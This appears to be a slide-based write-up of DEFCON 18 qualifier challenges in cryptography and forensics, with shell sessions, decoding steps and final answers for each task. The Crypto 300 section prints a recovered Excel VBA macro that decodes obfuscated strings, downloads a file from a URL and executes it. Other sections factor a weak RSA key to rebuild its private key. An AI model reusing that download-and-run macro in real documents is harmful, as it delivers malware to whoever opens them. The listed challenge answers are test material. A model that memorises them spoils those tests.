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• http://quals.ddtek.biz/quals/c100_bb04baa9415423c44.html

• Decrypt please

Ocmln. up.'g.bjf abanfoco odrgne er yd. ypcjt d.p. /,.nnw urp yd. mroy
lapy=v Ydco y.qy ,ao ,pcyy.b gocbi a ol.jcan t.fxrapew br bry .pirbrmcjw
frg aoodayv WdcbyV Yd. t.f frg ap. nrrtcbi urp co yd. bam.oat. ru ydco
t.fxrapev WzdcbyV
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• Decrypt please

• DVORAK to QWERTY

• C100 Answer : DVORAK

Ocmln. up.'g.bjf abanfoco odrgne er yd. ypcjt d.p. /,.nnw urp yd. mroy
lapy=v Ydco y.qy ,ao ,pcyy.b gocbi a ol.jcan t.fxrapew br bry .pirbrmcjw
frg aoodayv WdcbyV Yd. t.f frg ap. nrrtcbi urp co yd. bam.oat. ru ydco
t.fxrapev WzdcbyV

Simple frequency analysis should do the trick here [well, for the most 
part]. This text was written using a special keyboard, no not ergonomic, 
you asshat. <hint> The key you are looking for is the namesake of this 
keyboard. </hint>



DEFCON 18 CTF

Crypto Badness 200

9 June 2010forensic-proof.com

• Q : Some puzzles for you

• Decoding QR-Code

http://quals.ddtek.biz/quals/c200_8e452fdd2a9b9744.html
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• http://quals.ddtek.biz/quals/c200_8e452fdd2a9b9744.html

• Decoding QR-Code

http://quals.ddtek.biz:8080/qrcode
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• http://quals.ddtek.biz:8080/qrcode

• Upload a file and Submit

Redirect http://quals.ddtek.biz/quals/qrsolve.html

Refresh http://www.youtube.com/watch?v=dQw4w9WgXcQ
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• Second QR-Code (.png)

• Comment. Your turn. Generate qrcode for “too many secrets”
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• QR-Code Generate : http://qrcode.kaywa.com/

• http://quals.ddtek.biz:8080/qrcode
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• Upload file and submission page leads to : 

http://quals.ddtek.biz/quals/c200_840bc203130f3638.html

QR-Code and MP3(c200_9f5bcf9abbcfe85c.mp3)
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• Decoding QR-Code

C,VIII,II,VI,03,20,06,D,D,T,AV,FI,DR,TX,EU,HK

• Morse code translation (mp3) – http://audacity.sourceforge.net/
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• Decoding QR-Code

C,VIII,II,VI,03,20,06,D,D,T,AV,FI,DR,TX,EU,HK

• Translating  the morse code (http://www.onlineconversion.com/morse_code.html)

BOWS DLQX FXUT KIKL IXYT WWVX VTPN LVPQ QLAN FRWB VMHD D

• ENIGMA SIMULATOR (http://users.telenet.be/d.rijmenants/en/enigmasim.htm)

Reflector : C

Rotors : VIII, II, VI

Ring Position : 03, 20, 06

Key : DDT

Plug connections : AV FI DR TX EU HK
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• C200 Answer : DDTEK IS A RIDDLE WRAPPED IN A MYSTERY INSIDE AN ENIGMA
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• Q : Would you link to play a game

root@forensic:/home/forensic/DEFCON# file c300_f75bec6f545034716.bin 

c300_f75bec6f545034716.bin: gzip compressed data, from Unix, last modified: Sun May 23 05:00:16 

2010

root@forensic:/home/forensic/DEFCON# mv c300_f75bec6f545034716.bin 

c300_f75bec6f545034716.gz

root@forensic:/home/forensic/DEFCON# gunzip c300_f75bec6f545034716.gz 

root@forensic:/home/forensic/DEFCON# tar -xf c300_f75bec6f545034716 

root@forensic:/home/forensic/DEFCON# file c300_f75bec6f545034716

c300_f75bec6f545034716: POSIX tar archive (GNU)

root@forensic:/home/forensic/DEFCON# file c300_f75bec6f545034716.xls 

c300_f75bec6f545034716.xls: CDF V2 Document, Little Endian, Os: Windows, Version 5.1, Code page: 

1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Jul 26 11:18:57 2006, 

Last Saved Time/Date: Wed May 26 19:41:29 2010, Security: 1
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• c300_f75bec6f545034716.xls
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• Click macro, can see sheeps (c:\\ram.exe)

• c300_f75bec6f545034716.xls (97-2003)

File-Open, File-Modify password is not set

Worksheet, VBA Project password is set



DEFCON 18 CTF

Crypto Badness 300

9 June 2010forensic-proof.com

• Decrypt Password (decrypt tool using TMTO)

File: c300_f75bec6f545034716 - offvis.xls 

Folder: C:\Users\proneer\Desktop\C300\

Protection: MS Excel 97-2003 - VBA Project, VBA Password, Protection Password 

Complexity: Instant Unprotection

File-Open password: no password is set 

File-Modify password: no password is set 

Workbook password: [BQJSUWJIHZCUBHV] (no brackets) <Copy> (generated) (removed) 

Worksheet [1] password: [BQJSUWJIHZCUBHV] (no brackets) <Copy> (generated) (removed) 

VBA Project password: [Y6HA1H] (no brackets) <Copy> (generated) 

Unprotected file: c300_f75bec6f545034716 - offvis-unprotected.xls
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• Decrypted XLS VBA Project
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• VBA Code

Sub MN()
Dim SD As Date
Dim ED As Date
Dim CD As Date

SD = X("071C41571D03715472")
ED = X("071C41521D03715472")
CD = Date
If (CD >= SD) And (CD < ED) Then

Call GF
Call EX

End If
End Sub

Private Sub GF()
WL = 

X("5A470714081E6E15355D000A5D000223001C5C041E48
1647545F4F574B16")

FL = X("51092F16535C6F003A56")
RV = URLDownloadToFile(0, WL, FL, 0, 0)

End Sub

Private Sub EX()
Dim OF As String
On Error Resume Next
UP = X("51092F")
OF = X("40521E4A574924")
RV = ShellExecute(0, "open", OF, "", UP, 3)

End Sub

Private Function X(DI As String) As String
Dim CK, sDO As String
Dim lDP, iXV1, iXV2 As Integer

CK = Worksheets("Data").Range("AU2") &         
Worksheets("Data").Range("BE4866") & _<br>
Worksheets("Data").Range("Z9550")

For lDP = 1 To (Len(DI) / 2)
iXV1 = Val("&H" & (Mid$(DI, (2 * lDP) - 1, 2)))
iXV2 = Asc(Mid$(CK, ((lDP Mod Len(CK)) + 1), 1))
sDO = sDO + Chr(iXV1 Xor iXV2)

Next lDP
X = sDO

End Function

Function KG()
KG = Worksheets("Sheet2").Range("AE9529") & 

Worksheets("Sheet2").Range("Z9550") & _
Worksheets("Sheet2").Range("E8761")

End Function
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• CK

• AU2 : a23sd21

• BE4866 : AeB349sdfWewrf

• Z9550 : w29552

• C300 Answer : a23sd21 AeB349sdfWewrf w29552

CK = Worksheets("Data").Range("AU2") &  
Worksheets("Data").Range("BE4866") &          
Worksheets("Data").Range("Z9550")



DEFCON 18 CTF

Crypto Badness 400

9 June 2010forensic-proof.com

• Q : crack me

root@forensic:/home/forensic/DEFCON# gunzip c400_95bcb7c5807a366d.tgz 

root@forensic:/home/forensic/DEFCON# tar -xvf c400_95bcb7c5807a366d.tar 

blob.dat

pubkey.pem

root@forensic:/home/forensic/DEFCON# cat pubkey.pem 

-----BEGIN RSA PUBLIC KEY-----

MGgCYQDK2YRVfJfgOUMaImrXJ/DG1D7z1BhGnxs3UEmyKYQ+6fg7H5dzisJ09fYf

QB8h8ZE+S2S7MbVaONOYwN/tALE5LwiJcRxEs1nnl2xhf8xzTwbj6VwmR2CRtS9G

LnlBPbUCAwEAAQ==

-----END RSA PUBLIC KEY-----

root@forensic:/home/forensic/DEFCON# xxd blob.dat 

0000000: 8d33 84e4 1159 8ef3 0d52 db86 eaf8 1af0  .3...Y...R......

0000010: 0028 a37d 9e6f 79b0 4ba3 feb6 64df 9441  .(.}.oy.K...d..A

0000020: 9bc0 bf3a af54 babd c3a7 2087 3d0a a428  ...:.T.... .=..(
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• Base64 decoding pubkey.pem

root@forensic:/home/forensic/DEFCON# openssl enc -d -base64 -in pubkey.pem -out 

pubkey_dec.pem

root@forensic:/home/forensic/DEFCON# xxd pubkey_dec.pem 

0000000: 3068 0261 00ca d984 557c 97e0 3943 1a22  0h.a....U|..9C."

0000010: 6ad7 27f0 c6d4 3ef3 d418 469f 1b37 5049  j.'...>...F..7PI

0000020: b229 843e e9f8 3b1f 9773 8ac2 74f5 f61f  .).>..;..s..t...

0000030: 401f 21f1 913e 4b64 bb31 b55a 38d3 98c0  @.!..>Kd.1.Z8...

0000040: dfed 00b1 392f 0889 711c 44b3 59e7 976c  ....9/..q.D.Y..l

0000050: 617f cc73 4f06 e3e9 5c26 4760 91b5 2f46  a..sO...\&G`../F

0000060: 2e79 413d b502 0301 0001                 .yA=......

root@forensic:/home/forensic/DEFCON#
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• RSA Public Key

• n = 0xcad984557c97e039431a226ad727f0c6d43ef3d418469f1b375049b229843ee9f83b1f9773

8ac274f5f61f401f21f1913e4b64bb31b55a38d398c0dfed00b1392f0889711c44b359e7976c617f

cc734f06e3e95c26476091b52f462e79413db5

• e = 0x010001

root@forensic:/home/forensic/DEFCON# openssl enc -d -base64 -in pubkey.pem -out pubkey_dec.pem

root@forensic:/home/forensic/DEFCON# xxd pubkey_dec.pem 

0000000: 3068 0261 00ca d984 557c 97e0 3943 1a22  0h.a....U|..9C."

0000010: 6ad7 27f0 c6d4 3ef3 d418 469f 1b37 5049  j.'...>...F..7PI

0000020: b229 843e e9f8 3b1f 9773 8ac2 74f5 f61f  .).>..;..s..t...

0000030: 401f 21f1 913e 4b64 bb31 b55a 38d3 98c0  @.!..>Kd.1.Z8...

0000040: dfed 00b1 392f 0889 711c 44b3 59e7 976c  ....9/..q.D.Y..l

0000050: 617f cc73 4f06 e3e9 5c26 4760 91b5 2f46  a..sO...\&G`../F

0000060: 2e79 413d b502 0301 0001 .yA=......

root@forensic:/home/forensic/DEFCON#
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• n = 0xcad984557c97e039431a226ad727f0c6d43ef3d418469f1b375049b229843ee9f83b1f9773

8ac274f5f61f401f21f1913e4b64bb31b55a38d398c0dfed00b1392f0889711c44b359e7976c617f

cc734f06e3e95c26476091b52f462e79413db5

• n = 123018668453011775513049495838496272077285356959533479219732245215172640050726

36575187452021997864693899564749427740638459251925573263034537315482685079170261

22142913461670429214311602221240479274737794080665351419597459856902143413

• e = 0x010001

• e = 65537

• http://www.factordb.com/search.php?query=123018668453011775513049495838496272077

28535695953347921973224521517264005072636575187452021997864693899564749427740638

45925192557326303453731548268507917026122142913461670429214311602221240479274737

794080665351419597459856902143413
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• http://www.factordb.com/search.php?query=123018668453011775513049495838496272077

28535695953347921973224521517264005072636575187452021997864693899564749427740638

45925192557326303453731548268507917026122142913461670429214311602221240479274737

794080665351419597459856902143413

• p : 33478071698956898786044169848212690817704794983713768568912431388982883793878002

287614711652531743087737814467999489

• q :36746043666799590428244633799627952632279158164343087642676032283815739666511279

233373417143396810270092798736308917
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• takes p, q, e

p : 33478071698956898786044169848212690817704794983713768568912431388982883793878002

287614711652531743087737814467999489

q :36746043666799590428244633799627952632279158164343087642676032283815739666511279

233373417143396810270092798736308917

e = 65537
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• http://blog.stalkr.net/2010/03/codegate-decrypting-https-ssl-rsa-768.html

• C400 Answer : how long until 1024 falls by the wayside?

root@forensic:/home/forensic/DEFCON# gcc -lssl -o create_private create_private.c

root@forensic:/home/forensic/DEFCON# ./create_private

root@forensic:/home/forensic/DEFCON# cat private.key

-----BEGIN RSA PRIVATE KEY-----

MIIBywIBAAJhAMrZhFV8l+A5Qxoiatcn8MbUPvPUGEafGzdQSbIphD7p+Dsfl3OK

wnT19h9AHyHxkT5LZLsxtVo405jA3+0AsTkvCIlxHESzWeeXbGF/zHNPBuPpXCZH

YJG1L0YueUE9tQIDAQABAmB0DeSHYEQoNbqtXhmQRTqdFtt5dtP4u5i/mcDAHL6b

… ….

K1Pw1w0ErQoGzbe/VFLOz6z9dNG3KBd/0rkCMQCXWi353DJJ1tDe6Bv8TlCah+Gl

mLEBCAedVgbA8OhPVl+tBd65q7jd7sXt5glDxQECMGPaTUJkasmL/oHWpol6MdKQ

dntcO36IGfmwHw6H2TJLFpeozkoCUIj7+MWl4ZXaag==

-----END RSA PRIVATE KEY-----

root@forensic:/home/forensic/DEFCON# openssl rsautl -decrypt -in blob.dat -inkey private.pem -out result.dat

root@forensic:/home/forensic/DEFCON# cat result.dat 

how long until 1024 falls by the wayside?
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• Q : crack me

root@forensic:/home/forensic/DEFCON# gunzip c500_2AA899AC00124DC3A023C3E4A2A16702.tgz 

root@forensic:/home/forensic/DEFCON# tar -xvf c500_2AA899AC00124DC3A023C3E4A2A16702.tar 

c500.pcap

root@forensic:/home/forensic/DEFCON#
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• Q : Find the key

root@forensic:/home/forensic/DEFCON# file f100_6db079ca91c4860f.bin 

f100_6db079ca91c4860f.bin: x86 boot sector; partition 1: ID=0x7, starthead 0, startsector 31, 31558 

sectors, extended partition table (last)\011, code offset 0x0
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• mount the image using WinHex
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• Key file 

• Resident attribute

• F100 Answer : notdeleted,neverexisted
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• Q : Find the key

root@forensic:/home/forensic/DEFCON# file f200_02b7b50f575759cff7.tar.lzma 

f200_02b7b50f575759cff7.tar.lzma: data

root@forensic:/home/forensic/DEFCON# unlzma f200_02b7b50f575759cff7.tar.lzma 

root@forensic:/home/forensic/DEFCON# tar -xf f200_02b7b50f575759cff7.tar 

root@forensic:/home/forensic/DEFCON# 

root@forensic:/home/forensic/DEFCON# ls -l ./*.png | wc -l

1121
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• Overview a png file
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• Convert using Imagemagick

• F200 Answer : http://is.gd/ced7F

root@forensic:/home/forensic/DEFCON# convert *.png -layers flatten flatten.png

root@forensic:/home/forensic/DEFCON# convert *.png -layers merge merge.png

root@forensic:/home/forensic/DEFCON# convert *.png -layers mosaic mosaic.png
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• Q : say my name cuz I got pain when i tried to get again

root@forensic:/home/forensic/DEFCON# file f300_46646289fff26adc0.bin 

f300_46646289fff26adc0.bin: CDF V2 Document, Little Endian, Os: Windows, Version 1.0, Code page: 

-535, Comments: 

/9j/4AAQSkZJRgABAQEASABIAAD//gDvSDRzSUNBQUFBQUFBQTNKbFkxOWtkWEFBQUJjQTZQOGZp, 

Revision Number: 5, Total Editing Time: 02:37:48, Create Time/Date: Mon Apr 12 03:37:42 2010, Last 

Saved Time/Date: Mon Apr 12 06:16:26 2010
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• Open the PowerPoint file
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• CDF Summary Information
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• CDF Summary Information è base64 decoding
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• CDF Summary Information è base64 dec è JPEG è Comment è base64 dec

• rec_dup.gz : recursive compressed file

http://research.swtch.com/2010/03/zip-files-all-way-down.html
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• #1 Slide è JPEG file



DEFCON 18 CTF

Forensics 300 – writedown

9 June 2010forensic-proof.com

• #1 Slide è JPEG Comment è base64 decoding

Base64 decoded data : http://ircpics.com/img.php?id=15858
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• #1 Slide è Slide Note
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• #1 Slide è Slide Note è base64 decoding

• z.zip : recursive compressed file

http://research.swtch.com/2010/03/zip-files-all-way-down.html
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• #2 Slide è PNG file
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• #2 Slide è Slide Note
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• #2 Slide è Slide Note è Base64 decoding
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• #3 Slide è XLS OLE data
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• #3 Slide è XLS OLE è shopping list image

http://www.facebook.com/note.php?note_id=349479444975
*Don't forget to put gasoline in the 
Buick !!!
Walgreens : Shampoo
aspirin
toilet paper
preparation H for Walter
Birthday cards for xxxxxxxx
Hani : Dildo (strap-on | hlark)
Dildo (double-headed)
Anal Beads
Titdamps Lufe!!!
Butt-plug for walter (XL/clack)
Ball-gag " "
Ball stretcher " "
Cok-ring for xxxxx (leather | clark)
Thrytway : Bread | Eqg | milk (2%)
maroni Cheese
Fcour | Sugar | Varnlla ertrart
Chocolate chips
Corn Fcakes | Cheesios
Carrerts | Celery wiunrlier
Wine | Beer | Cigarettes
Yogurt | Cattage cheese
Hamlmarga Heljser
Yroinl buy
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• #3 Slide è XLS OLE è cell data

• cell data to Hex
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• #3 Slide è XLS OLE è AC64, AC65 cell

• AC64 base64 decoding

• AC64 base65 decoding
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• #3 Slide è Slide Note
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• #3 Slide è Slide Note è base64 decoding
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• #4 Slide è JPEG file è comment

• lpc, http://is.gd/bKanU
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• lpc, http://is.gd/bKanU
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• #3 Slide è XLS OLE è AC64, AC65 cell

• AC64 + AC66 base64 decoding
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• #3 Slide è XLS OLE è AC64, AC65 cell è base64 decoding

• 54 bit frame synchronization : Linear Prediction algorithms for speech encoding
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• <HINT>Speak Freely<HINT> 

http://www.speakfreely.org/
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• Listen to NATO Phonetic Alphabet

• Subtracting 0x3C from each given bytes : 

http://encyclopediadramatica.com/Michelle_Madigan 

• F300 Answer : Michellen Madigan (?)

root@forensic:/home/forensic/DEFCON# sox -t lpc10 ac64plus64_base64decoding.bin -d

a4 b0 b0 ac 76 6b 6b a1 aa 9f b5 9f a8 ab ac a1 a0 a5 9d a0 ae 9d a9 9d b0 a5 9f 9d 6a 9f ab a9 6b 89 

a5 9f a4 a1 a8 a8 a1 9b 89 9d a0 a5 a3 9d aa 
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• Q : Fill in the blank

root@forensic:/home/forensic/DEFCON# file f400_9c1559dd4d155c99.bin 

f400_9c1559dd4d155c99.bin: gzip compressed data, from Unix, last modified: Tue Jun 2 09:53:23 2009

root@forensic:/home/forensic/DEFCON# mv f400_9c1559dd4d155c99.bin f400_9c1559dd4d155c99.gz

root@forensic:/home/forensic/DEFCON# gunzip f400_9c1559dd4d155c99.gz

root@forensic:/home/forensic/DEFCON# file f400_9c1559dd4d155c99 

f400_9c1559dd4d155c99: POSIX tar archive (GNU)

root@forensic:/home/forensic/DEFCON# tar -xf f400_9c1559dd4d155c99 

root@forensic:/home/forensic/DEFCON# file MicroVault.dd 

MicroVault.dd: x86 boot sector, code offset 0x58, OEM-ID "MSDOS5.0", sectors/cluster 32, root entries 

512, Media descriptor 0xf8, sectors/FAT 248, heads 255, sectors 2030592 (volumes > 32 MB) , serial 

number 0x44786c73, unlabeled, FAT (16 bit)
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• mount given dd image using WinHex
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• All file list of mounted drive
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• strings.exe overlay-QUALS09-4478-6C73

• Google search è ‘gunther’ or ‘ding ding dong’

• F400 Answer : tralala
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• Q : Find the key

root@forensic:/home/forensic/DEFCON# gunzip f500_53ac9c7aea72fe3f.gz

root@forensic:/home/forensic/DEFCON# tar -xf f500_53ac9c7aea72fe3f

root@forensic:/home/forensic/DEFCON# ls -al

total 31266204

drwxr-xr-x 2 root root 36864 2010-05-28 14:21 .

drwxr-xr-x 5 forensic forensic 4096 2010-05-24 14:36 ..

-rwxrwxrwx 1 root root 8004132864 2009-06-04 15:13 backdrive.dd

-rwxrwxrwx 1 root root 8004132864 2009-06-04 15:38 frontdrive.dd

-rw-r--r-- 1 webmaster webmaster 16008273920 2010-05-28 13:55 f500_53ac9c7aea72fe3f
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• mount a frontdrive.dd using WinHex

• Given dd image is just 2

Stripe

Mirror
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• Reconstruct RAID with WinHex

• “Menu->Specialist->Reconstruct RAID System” è config a “Stripe size in sectors” : 8
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• Reconstruct RAID with WinHex
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• Reconstruct RAID with EnCase

• “Cases->Devices” è Edit Disk Configuration
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• Reconstruct RAID with EnCase

• Set a stripe size (4) and check “Physical Disk Image”
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• Reconstruct RAID with EnCase
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• User directory : chatlogs, pix

• chatlogs directory: chat logs (skype…)

• Pix directory : many graphic files
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• Skype log of “a31337h4x0r”

• The logs and chat contents are stored SQLite file



DEFCON 18 CTF

Forensics 500

9 June 2010forensic-proof.com

• SQLite Database Browser

http://sqlitebrowser.sourceforge.net/development.html



DEFCON 18 CTF

Forensics 500

9 June 2010forensic-proof.com

• View a message table
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• Suspicious file : chatlogs\skype\My Skype Received Files\theHoff.rar 

• theHoff.rar is encrypted

• theHoff.rar password : Sfa2ptxw1E32QYXs

http://www.youtube.com/watch?v=1E32QYXs

http://www.youtube.com/watch?v=HKh2CI6T_c0

http://www.youtube.com/watch?v=2ot_katYYiU

http://www.youtube.com/watch?v=e9lsnYd3n-I

http://www.youtube.com/watch?v=bSlIWA94AgA

http://www.youtube.com/watch?v=QH3JAp7vMuo

http://www.youtube.com/watch?v=ykSzwYQV6PU

http://www.youtube.com/watch?v=PCZjAYvrk-w

http://www.youtube.com/watch?v=gcDvRa7zdoU

http://www.youtube.com/watch?v=GfJngr-mhpo

http://www.youtube.com/watch?v=fq8OFqWH_6o

http://www.youtube.com/watch?v=Sfa2ptxw

http://www.youtube.com/watch?v=ANG7JmkJxHw

http://www.youtube.com/watch?v=7mZKjONV5cU

http://www.youtube.com/watch?v=fNy4tfx8XYo

http://www.youtube.com/watch?v=KbMmHNk1LbU

http://www.youtube.com/watch?v=qtAMu36IoPU

http://www.youtube.com/watch?v=7-FCQcg-nqI
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• Decrypted theHoff.rar

• F500 Answer : !!d0nTH4$$L3theH0ff!!
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